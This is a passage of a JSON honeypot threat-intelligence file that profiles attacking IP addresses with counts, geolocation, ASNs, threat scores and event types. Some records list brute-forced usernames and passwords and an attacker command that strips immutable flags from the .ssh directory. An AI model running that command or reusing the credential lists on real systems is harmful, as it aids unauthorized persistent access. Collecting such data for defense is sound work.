        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T00:20:31.405000+00:00",
        "last_seen_30d": "2026-05-20T05:16:28.023000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 86,
        "Suricata": 44
      }
    },
    "120.48.102.177": {
      "attack_count": 66,
      "first_seen": "2026-05-03T09:02:41.598Z",
      "last_seen": "2026-05-03T10:02:31.605Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "ubuntu",
        "fuser1",
        "git",
        "reza",
        "root",
        "test",
        "username"
      ],
      "passwords_attempted": [
        "1",
        "12345trewq",
        "Password1",
        "abc123$$$",
        "abcd1",
        "ali123",
        "asdf123",
        "fuser1",
        "masterkey",
        "username"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 3.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 111,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T09:02:41.598000+00:00",
        "last_seen_30d": "2026-05-03T10:12:38.319000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 66,
        "Suricata": 45
      }
    },
    "160.153.175.11": {
      "attack_count": 62,
      "first_seen": "2026-05-31T11:43:22.482Z",
      "last_seen": "2026-05-31T14:52:02.460Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398101,
      "as_org": "GoDaddy.com, LLC",
      "threat_score": 33.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 115,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T11:43:22.482000+00:00",
        "last_seen_30d": "2026-05-31T14:53:07.970000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 62,
        "Suricata": 53
      }
    },
    "31.57.184.247": {
      "attack_count": 62,
      "first_seen": "2026-05-05T03:41:19.817Z",
      "last_seen": "2026-05-17T14:06:45.779Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "root",
        "support",
        "1",
        "admin",
        "proxyuser",
        "user3"
      ],
      "passwords_attempted": [
        "support",
        "1",
        "1234",
        "password",
        "proxyuser",
        "q1w2e3r4",
        "qwer1234!"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 36680,
      "as_org": "Netiface LLC",
      "threat_score": 25.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.0,
        "persistence": 10.8,
        "diversity": 6,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 100,
        "days_active_30d": 13,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T03:41:19.817000+00:00",
        "last_seen_30d": "2026-05-17T14:07:52.911000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 62,
        "Suricata": 38
      }
    },
    "185.255.100.203": {
      "attack_count": 48,
      "first_seen": "2026-05-09T20:10:46.716Z",
      "last_seen": "2026-05-31T17:15:20.130Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 9009,
      "as_org": "M247 Europe SRL",
      "threat_score": 48.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 17.5,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 56,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T20:10:46.716000+00:00",
        "last_seen_30d": "2026-05-31T17:16:21.329000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 32,
        "Suricata": 24
      }
    },
    "116.207.115.171": {
      "attack_count": 42,
      "first_seen": "2026-05-20T14:28:24.185Z",
      "last_seen": "2026-05-20T16:15:54.021Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 19.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 67,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T14:28:24.185000+00:00",
        "last_seen_30d": "2026-05-20T16:17:04.848000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 42,
        "Suricata": 25
      }
    },
    "5.183.101.141": {
      "attack_count": 42,
      "first_seen": "2026-05-14T07:52:29.307Z",
      "last_seen": "2026-05-28T14:44:05.449Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 212238,
      "as_org": "Datacamp Limited",
      "threat_score": 37.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.9,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T07:52:29.307000+00:00",
        "last_seen_30d": "2026-05-28T14:45:06.590000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 21
      }
    },
    "106.225.218.43": {
      "attack_count": 40,
      "first_seen": "2026-05-21T10:32:45.649Z",
      "last_seen": "2026-05-29T08:23:20.304Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 134238,
      "as_org": "CHINANET Jiangx province IDC network",
      "threat_score": 60.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 18.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 5802,
        "days_active_30d": 22,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T14:21:38.027000+00:00",
        "last_seen_30d": "2026-05-31T23:47:27.747000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5762,
        "Cowrie": 40
      }
    },
    "103.116.137.131": {
      "attack_count": 30,
      "first_seen": "2026-05-19T16:10:45.861Z",
      "last_seen": "2026-05-19T16:14:00.505Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Kanpur",
      "asn": 134922,
      "as_org": "R G TECHNOSOLUTIONS PVT LTD",
      "threat_score": 17.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 46,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T16:10:45.861000+00:00",
        "last_seen_30d": "2026-05-19T16:15:03.967000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 16
      }
    },
    "103.253.68.13": {
      "attack_count": 30,
      "first_seen": "2026-05-11T01:17:46.388Z",
      "last_seen": "2026-05-15T14:52:07.383Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 132644,
      "as_org": "PT. Cyberindo Mega Persada",
      "threat_score": 14.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.4,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T01:17:46.388000+00:00",
        "last_seen_30d": "2026-05-15T14:53:13.892000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 15
      }
    },
    "27.21.29.250": {
      "attack_count": 30,
      "first_seen": "2026-05-20T14:08:53.234Z",
      "last_seen": "2026-05-20T15:38:29.561Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 18.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 48,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T14:08:53.234000+00:00",
        "last_seen_30d": "2026-05-20T15:39:32.354000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 18
      }
    },
    "221.233.111.101": {
      "attack_count": 28,
      "first_seen": "2026-05-20T12:55:17.810Z",
      "last_seen": "2026-05-20T13:47:30.368Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 18.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T12:55:17.810000+00:00",
        "last_seen_30d": "2026-05-20T13:48:36.323000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 14
      }
    },
    "59.6.41.4": {
      "attack_count": 28,
      "first_seen": "2026-05-24T13:40:35.421Z",
      "last_seen": "2026-05-24T16:02:54.120Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root",
        "kelltech"
      ],
      "passwords_attempted": [
        "#1Kelltech",
        "admin!2025",
        "admin#2026",
        "admin1234",
        "kelltech@12"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Seoul",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 22.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 43,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T13:40:35.421000+00:00",
        "last_seen_30d": "2026-05-24T16:03:54.870000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 15
      }
    },
    "34.34.160.10": {
      "attack_count": 22,
      "first_seen": "2026-05-03T06:24:15.218Z",
      "last_seen": "2026-05-03T06:24:47.367Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 2.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 34,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T06:24:15.218000+00:00",
        "last_seen_30d": "2026-05-03T06:25:57.249000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 22,
        "Suricata": 12
      }
    },
    "201.238.3.6": {
      "attack_count": 18,
      "first_seen": "2026-05-19T00:47:08.469Z",
      "last_seen": "2026-05-19T04:12:11.114Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 27889,
      "as_org": "Telecomunicaciones MOVILNET",
      "threat_score": 16.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 27,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T00:47:08.469000+00:00",
        "last_seen_30d": "2026-05-19T04:13:14.689000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 18,
        "Suricata": 9
      }
    },
    "113.221.97.6": {
      "attack_count": 16,
      "first_seen": "2026-05-23T08:00:37.218Z",
      "last_seen": "2026-05-23T08:38:15.530Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 19.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T08:00:37.218000+00:00",
        "last_seen_30d": "2026-05-23T08:39:19.457000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 8
      }
    },
    "185.242.226.17": {
      "attack_count": 16,
      "first_seen": "2026-05-03T09:05:42.501Z",
      "last_seen": "2026-05-31T20:25:14.295Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 202425,
      "as_org": "IP Volume inc",
      "threat_score": 76.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 22.1,
        "persistence": 25,
        "diversity": 14,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 163,
        "days_active_30d": 30,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T18:08:22+00:00",
        "last_seen_30d": "2026-05-31T20:26:18.523000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 106,
        "Honeytrap": 41,
        "Cowrie": 16
      }
    },
    "183.212.245.196": {
      "attack_count": 12,
      "first_seen": "2026-05-18T08:39:21.357Z",
      "last_seen": "2026-05-18T08:41:23.841Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Nanjing",
      "asn": 56046,
      "as_org": "China Mobile communications corporation",
      "threat_score": 14.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T08:39:21.357000+00:00",
        "last_seen_30d": "2026-05-18T08:42:28.323000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 6
      }
    },
    "78.111.67.206": {
      "attack_count": 12,
      "first_seen": "2026-05-05T03:55:38.809Z",
      "last_seen": "2026-05-08T07:05:41.480Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 33984,
      "as_org": "Surfplanet GmbH",
      "threat_score": 6.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T03:55:38.809000+00:00",
        "last_seen_30d": "2026-05-08T07:06:50.971000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 7
      }
    },
    "104.238.221.88": {
      "attack_count": 10,
      "first_seen": "2026-05-14T23:23:47.304Z",
      "last_seen": "2026-05-15T11:48:06.622Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "...",
        "ayjtnzjc"
      ],
      "passwords_attempted": [
        "lol_lol_L0L_12346!&^$%#@@_87568",
        "yzOeGur5kZbZ"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 23470,
      "as_org": "ReliableSite.Net LLC",
      "threat_score": 18.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.4,
        "persistence": 2.5,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 3,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-14T23:23:47.304000+00:00",
        "last_seen_30d": "2026-05-16T19:29:14.826000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Cowrie": 10,
        "Honeytrap": 1
      }
    },
    "41.141.13.158": {
      "attack_count": 10,
      "first_seen": "2026-05-30T12:51:50.524Z",
      "last_seen": "2026-05-30T12:59:52.853Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Morocco",
      "country_code": "MA",
      "city": "Agadir",
      "asn": 36903,
      "as_org": "MT-MPLS",
      "threat_score": 24.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T12:51:50.524000+00:00",
        "last_seen_30d": "2026-05-30T13:00:55.488000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 7
      }
    },
    "139.59.104.3": {
      "attack_count": 8,
      "first_seen": "2026-05-16T16:12:04.966Z",
      "last_seen": "2026-05-17T03:27:38.860Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 13.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T16:12:04.966000+00:00",
        "last_seen_30d": "2026-05-17T03:28:40.884000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 8
      }
    },
    "180.188.45.179": {
      "attack_count": 6,
      "first_seen": "2026-05-04T16:20:09.824Z",
      "last_seen": "2026-05-04T16:22:11.190Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 133775,
      "as_org": "Xiamen",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T16:20:09.824000+00:00",
        "last_seen_30d": "2026-05-04T16:34:14.898000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 5
      }
    },
    "185.220.101.97": {
      "attack_count": 6,
      "first_seen": "2026-05-06T13:12:48.112Z",
      "last_seen": "2026-05-06T13:12:54.262Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Brandenburg",
      "asn": 60729,
      "as_org": "Stiftung Erneuerbare Freiheit",
      "threat_score": 48.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 19.2,
        "persistence": 15.8,
        "diversity": 8,
        "spread": 20,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 84,
        "days_active_30d": 19,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-06T13:12:48.112000+00:00",
        "last_seen_30d": "2026-05-24T01:23:55.445000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 65,
        "H0neytr4p": 7,
        "Ciscoasa": 6,
        "Cowrie": 6
      }
    },
    "192.227.193.165": {
      "attack_count": 6,
      "first_seen": "2026-05-15T19:50:44.915Z",
      "last_seen": "2026-05-15T19:50:51.629Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 9.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T19:50:44.915000+00:00",
        "last_seen_30d": "2026-05-15T19:52:00.080000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "66.132.195.105": {
      "attack_count": 6,
      "first_seen": "2026-05-30T03:33:12.818Z",
      "last_seen": "2026-05-30T03:33:47.380Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 84.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.3,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 106,
        "days_active_30d": 27,
        "ports_targeted_30d": 19,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-04T23:58:58+00:00",
        "last_seen_30d": "2026-05-30T03:34:52.582000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 67,
        "ElasticPot": 16,
        "Honeytrap": 16,
        "Cowrie": 6,
        "Dionaea": 1
      }
    },
    "212.58.184.37": {
      "attack_count": 5,
      "first_seen": "2026-05-13T17:21:18.356Z",
      "last_seen": "2026-05-13T17:21:24.780Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": null,
      "asn": 34058,
      "as_org": "Limited Liability Company lifecell",
      "threat_score": 16.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 3.3,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 4,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-13T17:21:18.356000+00:00",
        "last_seen_30d": "2026-05-16T02:55:05.556000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 5,
        "Honeytrap": 1
      }
    },
    "103.73.101.172": {
      "attack_count": 4,
      "first_seen": "2026-05-14T13:35:22.231Z",
